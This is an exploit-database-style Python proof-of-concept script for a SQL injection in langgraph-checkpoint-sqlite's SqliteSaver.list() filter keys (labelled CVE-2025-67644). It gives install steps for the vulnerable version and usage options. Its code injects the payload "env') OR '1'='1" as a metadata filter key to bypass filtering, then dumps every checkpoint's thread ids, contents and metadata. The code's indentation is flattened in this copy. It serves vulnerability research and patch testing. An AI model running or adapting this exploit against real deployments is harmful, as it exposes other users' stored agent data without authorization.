#!/usr/bin/env python3
# Exploit Title: LangGraph SQLite Checkpoint SQL Injection PoC
# CVE: CVE-2025-67644
# Date: 2025-12-xx
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub:
# Vendor Homepage: https://github.com/langchain-ai/langgraph
# Software Link: https://pypi.org/project/langgraph-checkpoint-sqlite/
# Affected: langgraph-checkpoint-sqlite < 3.0.1
# Tested on: langgraph-checkpoint-sqlite 2.0.0
# Category: Webapps / Database
# Platform: Python
# Exploit Type: SQL Injection (Metadata Filter Key)
# CVSS: 7.5 (High) – estimated
# Description: SQL Injection in SqliteSaver.list() via unsanitized metadata filter keys
# Fixed in: langgraph-checkpoint-sqlite >= 3.0.1
# Usage:
# python3 exploit.py <db_path> [--dump-all] [--threads-only]
#
# Examples:
# python3 exploit.py checkpoints.db
# python3 exploit.py checkpoints.db --dump-all
#
# Options:
# --dump-all Dump full checkpoint content instead of just counting
# --threads-only Show only thread_ids (less verbose)
#
# Notes:
# • This is a PoC / research exploit – not a full RCE chain
# • Real attack depends on application exposure of the filter parameter
# • In-memory (:memory:) databases are volatile – file-based more realistic
#
# How to Use
#
# Step 1: Install vulnerable version
# pip install langgraph-checkpoint-sqlite==2.0.0
#
# Step 2: Run the script against existing checkpoint database file
# python3 exploit.py checkpoints.db --dump-all
#
# ────────────────────────────────────────────────
import argparse
from langgraph.checkpoint.sqlite import SqliteSaver
from uuid import uuid4
BANNER = r"""
_____ _ _____ _____ _____ _____ _____
/ ____| | | | __ \_ _|/ ____/ ____/ ____|
| | __ __ _ _ __ | |_| |__) || | | (___| (___| |
| | |_ |/ _` | '_ \| __| ___/ | | \___ \\___ \| |
| |__| | (_| | | | | |_| | _| |_ ____) |___) | |____
\_____|\__,_|_| |_|\__|_| |_____|_____/_____/ \_____|
CVE-2025-67644 • SQL Injection in LangGraph SQLite Checkpoint
PoC by Mohammed Idrees Banyamer (@banyamer_security)
=======================================================
"""
def create_dummy_data(saver):
thread_id_1 = str(uuid4())
thread_id_2 = str(uuid4())
saver.put(
{"configurable": {"thread_id": thread_id_1, "checkpoint_ns": ""}},
{"type": "task", "data": "checkpoint A"},
metadata={"user_id": "alice", "env": "prod"}
)
saver.put(
{"configurable": {"thread_id": thread_id_2, "checkpoint_ns": ""}},
{"type": "task", "data": "checkpoint B"},
metadata={"user_id": "bob", "env": "dev"}
)
return thread_id_1, thread_id_2
def main():
parser = argparse.ArgumentParser(description="PoC for CVE-2025-67644 (langgraph-checkpoint-sqlite SQLi)")
parser.add_argument("db_path", help="Path to SQLite checkpoint database (:memory: supported)")
parser.add_argument("--dump-all", action="store_true", help="Dump full checkpoint content")
parser.add_argument("--threads-only", action="store_true", help="Show only thread_ids")
args = parser.parse_args()
print(BANNER)
print("[*] Target database :", args.db_path)
print()
try:
saver = SqliteSaver.from_conn_string(args.db_path)
count = len(list(saver.list(None)))
if count == 0:
print("[+] Creating demo checkpoints (database was empty)")
create_dummy_data(saver)
print()
print("[+] Normal listing (no filter)")
all_checkpoints = list(saver.list(None))
print(f" → Found {len(all_checkpoints)} checkpoint(s)")
print("\n[+] Legitimate filter test")
normal_filter = {"user_id": "alice"}
filtered = list(saver.list(None, filter=normal_filter))
print(f" → Found {len(filtered)} checkpoint(s) (expected: 1)")
print("\n[+] SQL Injection attempt (bypass filter)")
malicious_filter = {"env') OR '1'='1": "dummy"}
try:
injected = list(saver.list(None, filter=malicious_filter))
print(f" → Injection successful! Found {len(injected)} checkpoint(s)")
if len(injected) == len(all_checkpoints) and len(all_checkpoints) > 0:
print(" → CONFIRMED: filter bypassed via SQL injection")
if args.dump_all:
print("\n[+] Dumping all accessible checkpoints:")
for i, cp in enumerate(injected, 1):
thread_id = cp["configurable"].get("thread_id", "—")
print(f" {i}. thread_id = {thread_id}")
if not args.threads_only:
print(f" checkpoint = {cp.get('checkpoint')}")
print(f" metadata = {cp.get('metadata')}")
print()
elif args.threads_only:
print("\n[+] Extracted thread_ids:")
for cp in injected:
tid = cp["configurable"].get("thread_id")
if tid:
print(f" • {tid}")
except Exception as e:
print("[-] Injection failed / rejected")
print(f" Error: {e}")
except Exception as ex:
print("[-] Fatal error")
print(f" {ex}")
if __name__ == "__main__":
main()
